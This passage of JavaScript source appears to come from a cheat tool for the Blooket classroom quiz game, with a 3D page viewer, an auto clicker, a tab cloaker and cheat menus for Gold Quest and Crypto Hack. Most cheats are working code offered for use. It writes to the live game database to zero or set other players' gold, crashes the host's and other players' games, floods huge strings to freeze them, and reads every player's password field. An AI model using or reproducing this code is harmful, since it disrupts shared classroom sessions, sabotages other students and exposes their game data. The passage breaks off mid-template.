for (var t = 0; document.querySelector("body" + " > *".repeat(t)); t++);
var a = e.gap.value / t,
o = -Math.PI * e.sag.value / t;
e.cssDynamic.innerHTML = ` * { transform: translateZ(${a}px) rotateX(${o}rad); transform-style: preserve-3d; transition: transform 1s; outline: 1px solid rgba(0, 0, 0, 0.0625); ${e.flo.checked ? "overflow: visible !important;" : ""} } *:hover { transform: translateZ(${2 * a}px) rotateX(${2 * o}rad); ${e.flo.checked ? "" : "overflow: visible;"} } `
}
},
toggle: function() {
"active" == e.menu.className ? e.menu.removeAttribute("class") : e.menu.className = "active"
},
quit: function() {
window.removeEventListener("deviceorientation", e.gyroMove),
window.removeEventListener("mousemove", e.mouseMove),
window.removeEventListener("scroll", e.updateOrigin),
window.addEventListener("resize", e.updateOrigin),
e.menu.remove(),
e.cssStatic.remove(),
e.cssDynamic.remove(),
document.body.removeAttribute("style")
},
newRange: function(t, a, o, r, i, n, s) {
e.menu.appendChild(t),
t.type = "range",
t.min = o,
t.max = i,
t.step = r,
t.value = n,
t.addEventListener("input", s),
e.menu.appendChild(document.createElement("span")).innerHTML = a,
e.menu.appendChild(document.createElement("br"))
},
newCheckbox: function(t, a, o) {
e.menu.appendChild(t),
t.type = "checkbox",
t.addEventListener("click", o),
e.menu.appendChild(document.createElement("span")).innerHTML = a,
e.menu.appendChild(document.createElement("br"))
},
newButton: function(t, a, o) {
e.menu.appendChild(t),
t.type = "button",
t.value = a,
t.addEventListener("click", o)
},
init: function() {
document.body.parentNode.appendChild(e.menu).id = "tri-menu",
e.newRange(e.limit, "limit", 0, .03125, 1, .125, e.updateBody),
e.newRange(e.gap, "gap / distance", 0, 32, 512, 128, function() {
e.updateCSS(),
e.updateBody()
}),
e.newRange(e.sag, "sag", -.25, .03125, .25, 0, e.updateCSS),
e.newRange(e.fov, "field of view", 7, 1, 13, 10, e.updateBody),
e.newCheckbox(e.flo, "force overflow", e.updateCSS),
e.flo.setAttribute("checked", ""),
e.newCheckbox(e.off, "flatten layers", e.updateCSS),
e.newCheckbox(e.non, "flatten everything", e.updateCSS),
e.newButton(e.end, "Quit", e.quit),
e.newButton(e.tgl, "≡", e.toggle),
e.tgl.id = "tri-toggle",
e.menu.appendChild(e.cssStatic).innerHTML = " html, body { transition-property: none; height: 100%25; width: 100%25; } html, html:hover, #tri-menu, #tri-menu > *, #tri-menu > *:hover { transform: none; outline: none; overflow: auto !important; float: none; } #tri-menu { position: fixed; top: 0; left: 0; background: rgba(0, 0, 0, 0.5); color: white; border: 1px solid rgba(255, 255, 255, 0.5);; border-radius: 0 0 16px 0; padding: 8px; transform: translate(-100%25, -100%25) translate(32px, 32px); } #tri-menu.active { transform: none; } #tri-toggle { position: absolute; bottom: 0; right: 0; height: 32px; width: 32px; background: transparent; color: white; border: none; cursor: pointer; } #tri-menu.active > #tri-toggle { background: white; color: black; border-radius: 8px 0 0 0; }",
e.menu.appendChild(e.cssDynamic),
e.updateCSS(),
window.addEventListener("deviceorientation", e.gyroMove),
window.addEventListener("mousemove", e.mouseMove),
window.addEventListener("scroll", e.updateOrigin),
window.addEventListener("resize", e.updateOrigin),
window.scrollBy(0, 1)
}
};
e.init()
}
}, {
name: "Auto Clicker",
description: "Automatically clicks for you. Press S to toggle.",
inputs: [{
name: "Click Delay",
type: "number"
}],
run: function(inputs) {
clicker: {
"use strict";
let clickInterval = null;
let clickingEnabled = true;
const {
Number,
self
} = window;
const milliseconds = Number.parseInt(inputs, 10);
if (false === Number.isSafeInteger(milliseconds)) {
self.alert("Input was not an integer");
break clicker;
}
let clientX = 0,
clientY = 0;
const {
document
} = self;
function startClicking() {
clickInterval = self.setInterval(() => {
document.elementFromPoint(clientX, clientY)?.click?.();
}, milliseconds);
}
function stopClicking() {
self.clearInterval(clickInterval);
clickInterval = null;
}
startClicking();
document.addEventListener("mousemove", event => {
({
clientX,
clientY
} = event);
}, {
passive: true
});
self.addEventListener("keydown", event => {
if (event.key === "s") {
if (clickingEnabled) {
stopClicking();
} else {
startClicking();
}
clickingEnabled = !clickingEnabled;
}
});
}
}
}, {
name: "Tab Cloaker",
description: "Changes the tab image and name",
inputs: [{
name: "Icon URL",
type: "text",
}, {
name: "Tab Title",
type: "text",
}],
run: function(e, t) {
var a = document.querySelector("link[rel*='icon']") || document.createElement("link");
a.type = "image/x-icon",
a.rel = "shortcut icon",
a.href = e || "https://www.blooket.com/favicon.ico",
document.getElementsByTagName("head")[0].appendChild(a),
document.title = t || "Blooket"
}
}, {
name: "Toggle Small Font",
description: "Switch GUI font-size between normal and slightly smaller.",
run: function () {
if (typeof gui !== "undefined") {
const current = gui.style.fontSize || getComputedStyle(gui).fontSize;
if (current === "13px") gui.style.fontSize = "";
else gui.style.fontSize = "13px";
} else {
console.warn("GUI element not found for Toggle Small Font");
}
},
},
],
},
// === END: extras category ===
gold: {
img: new Date().getMonth() == 9 ? "https://media.blooket.com/image/upload/v1663212881/Media/logos/Candy_Quest_Logo.png" : "https://media.blooket.com/image/upload/v1663212881/Media/logos/Gold_Quest_Logo_Resized.png",
name: "Gold Quest",
cheats: [
{
name: "Always Triple",
description: "Always get triple gold",
type: "toggle",
enabled: false,
data: { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" },
run: function () {
let stateNode = getStateNode();
stateNode._choosePrize ||= stateNode.choosePrize;
if (!this.enabled) {
this.enabled = true;
stateNode.choosePrize = (i) => {
stateNode.state.choices[i] = this.data;
stateNode._choosePrize(i);
};
} else {
this.enabled = false;
if (stateNode._choosePrize) stateNode.choosePrize = stateNode._choosePrize;
}
},
},
{
name: "Always Quintuple",
description: "Always get quintuple gold",
type: "toggle",
enabled: !1,
data: null,
run: function() {
let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e._choosePrize ||= e.choosePrize,
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null, e.choosePrize = e._choosePrize || e.choosePrize) : (this.enabled = !0, this.data = setInterval(() => {
e.choosePrize = function(t) {
e.state.choices[t] = {
type: "multiply",
val: 5,
text: "Quintuple Gold!",
blook: "Ice Elemental"
},
e._choosePrize(t)
}
}, 50))
}
}, {
name: "Auto Choose",
description: "Automatically picks the option that would give you the most gold",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(async () => {
let stateNode = getStateNode();
if (stateNode.state.stage == "prize") {
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
try {
if (players == null) return;
players = Object.entries(players);
let most = 0,
max = 0,
index = -1;
for (let i = 0; i < players.length; i++) if (players[i][0] != stateNode.props.client.name && players[i][1] > most) most = players[i][1];
for (let i = 0; i < stateNode.state.choices.length; i++) {
const choice = stateNode.state.choices[i];
let value = stateNode.state.gold;
if (choice.type == "gold") value = stateNode.state.gold + choice.val || stateNode.state.gold;
else if (choice.type == "multiply" || choice.type == "divide") value = Math.round(stateNode.state.gold * choice.val) || stateNode.state.gold;
else if (choice.type == "swap") value = most || stateNode.state.gold;
else if (choice.type == "take") value = stateNode.state.gold + most * choice.val || stateNode.state.gold;
if ((value || 0) <= max) continue;
max = value;
index = i + 1;
}
document.querySelector("div[class*='choice" + index + "']")?.click();
} catch {}
});
}
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Chest ESP",
description: "Shows what each chest will give you",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
getStateNode().state.choices.forEach(({ text }, index) => {
let chest = document.querySelector(`div[class*='choice${index + 1}']`);
if (!chest || chest.querySelector("div")) return;
let choice = document.createElement("div");
choice.style.color = "white";
choice.style.fontFamily = "Eczar";
choice.style.fontSize = "2em";
choice.style.display = "flex";
choice.style.justifyContent = "center";
choice.style.transform = "translateY(200px)";
choice.innerText = text;
chest.append(choice);
});
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Remove Bad Choices",
description: "Removes the chance of getting Lose 25%, Lose 50%, and Nothing",
run: function () {
let iterator = Array.prototype[Symbol.iterator];
Array.prototype[Symbol.iterator] = function* values() {
if (this[0]?.type == "gold") {
Array.prototype[Symbol.iterator] = iterator;
console.log(this);
for (let i = 0; i < this.length; i++) if (this[i].type == "divide" || this[i].type == "nothing") this.splice(i--, 1);
}
yield* iterator.apply(this);
};
getStateNode().constructor.prototype.answerNext.call({ nextReady: true, here: true, state: { correct: true }, setState() {} });
},
},
{
name: "Flood Alert Box",
description: "Makes the alert box filled with text",
inputs: [{
name: "Text",
type: "text"
}],
run: function(userInput) {
function getReactOwner() {
return Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner;
}
function repeatText(text, times) {
return new Array(times).fill(text).join(" ");
}
function setValForPlayer() {
getReactOwner().stateNode.props.liveGameController.getDatabaseVal("c/").then(data => {
if (data != null) {
const playerName = Object.keys(data)[0];
if (userInput) {
const id = "1,723,583,989,363";
const repeatedText = repeatText(userInput, 1700);
const finalText = `${id}${repeatedText}`;
setv(['tat', `${playerName}:${finalText}`]);
} else {
console.log("No text entered. Operation cancelled.");
}
} else {
console.log("Player not found!");
}
});
}
function setv(args) {
getReactOwner().stateNode.props.liveGameController.setVal({
path: "c/" + getReactOwner().stateNode.props.client.name + "/" + args[0],
val: args.slice(1, args.length).join(" ")
});
}
setValForPlayer();
}
}, {
name: "Reset Players Gold",
description: "Sets a player's gold to 0",
inputs: [
{
name: "Player",
type: "options",
options: () => {
let stateNode = getStateNode();
return stateNode.props.liveGameController._liveApp ? new Promise((res) => stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players)))) : [];
},
},
],
run: function (target) {
let stateNode = getStateNode();
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name + "/tat",
val: target + ":swap:0",
});
},
},
{
name: "Set Gold",
description: "Sets amount of gold",
inputs: [
{
name: "Gold",
type: "number",
},
],
run: function (gold) {
let stateNode = getStateNode();
stateNode.setState({ gold, gold2: gold });
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name + "/g",
val: gold,
});
},
},
{
name: "Set Player's Gold",
description: "Sets another player's gold",
inputs: [
{
name: "Player",
type: "options",
options: () => {
let stateNode = getStateNode();
return stateNode.props.liveGameController._liveApp ? new Promise((res) => stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players)))) : [];
},
},
{
name: "Gold",
type: "number",
},
],
run: function (player, gold) {
let stateNode = getStateNode();
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name + "/tat",
val: player + ":swap:" + gold
});
}
},
{
name: "Reset All Players' Gold",
description: "Set's everyone else's gold to 0",
run: function() {
var e = document.createElement("iframe");
document.body.append(e),
window.alert = e.contentWindow.alert.bind(window),
e.remove();
let {
props: t,
state: a
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,
o = 0;
t.liveGameController.getDatabaseVal("c", async e => {
if (e)
for (let r of Object.keys(e))
t.liveGameController.setVal({
path: "c/".concat(t.client.name),
val: {
b: t.client.blook,
g: a.gold,
tat: r + ":swap:0"
}
}), o++, await new Promise(e => setTimeout(e, 4e3));
alert(`Reset ${o} players' gold!`)
})
}
}, {
name: "Send Ad Text",
description: "Sends a load of text to another player (This will override your blook!)",
inputs: [{
name: "Player",
type: "options",
options() {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}
())[1].children[0]._owner;
return new Promise(t => e.props.liveGameController._liveApp ? e.props.liveGameController.getDatabaseVal("c", e => e && t(Object.keys(e))) : t([]));
}
}, {
name: "Text"
}],
run: async function(player, e) {
let {
props: t2
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}
())[1].children[0]._owner.stateNode;
let repeatedText = `Dog:${Array(500).fill(e).join(' ')}`;
t2.client.blook = repeatedText;
t2.liveGameController.setVal({
path: `c/${t2.client.name}/b`,
val: repeatedText
});
t2.liveGameController.setVal({
path: `c/${t2.client.name}/tat`,
val: `${player}:196`
});
}
}, {
name: "Crash Host (Gold)",
description: "Crashes the Host's Game for Gold Quest",
inputs: [],
run: async function () {
// Recursively locate the React stateNode (same structure you use)
function getOwner(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner?.stateNode ?
t :
getOwner(t.querySelector(":scope>div"));
}
let { stateNode } = Object.values(getOwner())[1].children[0]._owner;
// setv equivalent
function setv(args) {
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name + "/" + args[0],
val: args.slice(1).join(" ")
});
}
// Crash host
setv(["g/t", "t"]);
}
},{
name: "Swap Gold",
description: "Swaps gold with someone",
inputs: [
{
name: "Player",
type: "options",
options: () => {
let stateNode = getStateNode();
return stateNode.props.liveGameController._liveApp ? new Promise((res) => stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players)))) : [];
},
},
],
run: function (player) {
let stateNode = getStateNode();
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
if (!players || players[player] == null) return;
const gold = players[player].g || 0;
stateNode.props.liveGameController.setVal({
path: "c/" + stateNode.props.client.name,
val: {
b: stateNode.props.client.blook,
tat: player + ":swap:" + (stateNode.state.gold || 0),
g: gold,
},
});
stateNode.setState({ gold, gold2: gold });
});
},
},
],
},
hack: {
img: "https://media.blooket.com/image/upload/v1663212882/Media/logos/Crypto_Hack_Logo_Resized.png",
name: "Crypto Hack",
cheats: [
{
name: "Choice ESP",
description: "Shows what each choice will give you",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
let chest = document.querySelector("[class*=feedbackContainer]");
if (chest.children.length <= 4) {
let choice = document.createElement("div");
choice.style.color = "white";
choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif";
choice.style.fontSize = "2em";
choice.style.display = "flex";
choice.style.justifyContent = "center";
choice.style.marginTop = "675px";
choice.innerText = getStateNode().state.choices[0].text;
chest.append(choice);
}
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Password ESP",
description: "Highlights the correct password",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
let { state } = getStateNode();
if (state.stage == "hack")
for (const button of document.querySelector("div[class*=buttonContainer]").children) {
if (button.innerText == state.correctPassword) continue;
button.style.outlineColor = "rgba(255, 64, 64, 0.8)";
button.style.backgroundColor = "rgba(255, 64, 64, 0.8)";
button.style.textShadow = "0 0 1px #f33";
}
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Set Host Screen Green",
description: "Makes the whole screen filled with text",
type: "toggle",
enabled: !1,
data: null,
run: function() {
var a = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}
())[1].children[0]._owner.stateNode;
if (this.enabled) {
this.enabled = !1;
clearInterval(this.data);
this.data = null;
a.props.liveGameController.setVal({
path: `c/${a.props.client.name}/cr`,
val: ""
});
} else {
this.enabled = !0;
let t = () => {
a.props.liveGameController.setVal({
path: `c/${a.props.client.name}/cr`,
val: `9999999999999999999999999999999999999999999999${new Array(999).fill("็".repeat(70)).join(" ")}`
});
};
this.data = setInterval(t, 25);
}
}
}, {
name: "Always Quintuple",
description: "Always get quintuple crypto",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
choices: [{
type: "mult",
val: 5,
rate: .075,
blook: "Ice Elemental",
text: "Quintuple Crypto"
}]
}), 50))
}
}, {
name: "Always Triple",
description: "Always get triple crypto",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval((state) => getStateNode().setState(state), 25, { choices: [{ type: "mult", val: 3, rate: 0.075, blook: "Brainy Bot", text: "Triple Crypto" }] });
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Always Hack",
description: "Always get hack",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
choices: [{
type: "hack",
val: 3,
rate: .075,
blook: "Mega Bot",
text: "HACK"
}]
}), 50))
}
}, {
name: "Crash Password",
description: "Crashes other players when they attempt to hack you",
type: "toggle",
enabled: !1,
data: null,
run: function() {
var e = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}
())[1].children[0]._owner.stateNode;
if (this.enabled)
this.enabled = !1, clearInterval(this.data), this.data = null, e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/p`,
val: e.state?.password
});
else {
this.enabled = !0;
let t = () => {
e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/p/toString`,
val: "crash"
})
};
this.data = setInterval(t, 25)
}
}
}, {
name: "Set Freeze Password",
description: "Freezes other players when they attempt to hack you *IF TURNED ON IT WILL LAG YOU LIKE HELL*",
type: "toggle",
enabled: !1,
data: null,
run: function() {
const encodedChars = [
'\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
];
const chars = encodedChars.map(char => eval(`"${char}"`));
function makeLongText() {
return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
}
var t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
if (this.enabled) {
this.enabled = !1;
clearInterval(this.data);
this.data = null;
t.setState({
password: ''
});
t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: '',
cr: t.state.crypto
}
});
} else {
this.enabled = !0;
let lagFunction = () => {
var e = makeLongText();
t.setState({
password: e
});
t.props.liveGameController.setVal({
path: "c/".concat(t.props.client.name),
val: {
b: t.props.client.blook,
p: e,
cr: t.state.crypto
}
});
};
this.data = setInterval(lagFunction, 25);
}
}
}, {
name: "Auto Guess",
description: "Automatically guess the correct password",
type: "toggle",
enabled: false,
data: null,
run: function () {
if (!this.enabled) {
this.enabled = true;
this.data = setInterval(() => {
let { state } = getStateNode();
if (state.stage == "hack") for (const button of document.querySelector("div[class*=buttonContainer]").children) button.innerText == state.correctPassword && button.click();
}, 50);
} else {
this.enabled = false;
clearInterval(this.data);
this.data = null;
}
},
},
{
name: "Remove Hack",
description: "Removes an attacking hack",
run: function () {
getStateNode().setState({ hack: "" });
},
},
{
name: "Crypto Spy Panel",
description: "Shows password + crypto for every player in Crypto Hack",
type: "button",
run: function () {
if (!location.href.includes("cryptohack")) {
return alert("This panel works ONLY in Crypto Hack.");
}
let node;
try {
node = Object.values(document.querySelector("#app > div > div"))[1]
.children[0]?._owner?.stateNode;
} catch {
return alert("Failed to read game data.");
}
if (!node) return alert("Could not get stateNode.");
let lgc = node.props?.liveGameController;
if (!lgc) return alert("No liveGameController found.");
const panel = document.createElement("div");
panel.style = `
position: fixed; top: 50%; left: 50%;
transform: translate(-50%, -50%);
background: #121212;
padding: 18px 22px;
border-radius: 16px;
z-index: 999999;
width: 400px;
max-height: 80vh;
color: white;
font-family: 'Nunito', sans-serif;
box-shadow: 0 0 25px rgba(0,0,0,0.7);
display: flex;
flex-direction: column;
`;
panel.innerHTML = `
🔍 Crypto Spy Panel
Loading player stats...
`;
document.body.appendChild(panel);
const contentDiv = document.getElementById("crypto-spy-content");
// ---- FIXED FUNCTION: CORRECT PASSWORD FIELD ----
function loadPlayerData() {
contentDiv.innerHTML = `
Loading player stats...
`;
lgc.getDatabaseVal("c", data => {
if (!data) {
contentDiv.innerHTML = "
No player data found.
";
return;
}
let html = "";
for (const player in data) {
const p = data[player];
// 🔥 Correct password logic (from your working snippet)
let password =
p?.p ?? // Main correct location
p?.Password ?? // Backup
p?.tat?.Password ?? // Older modes
"?";
html += `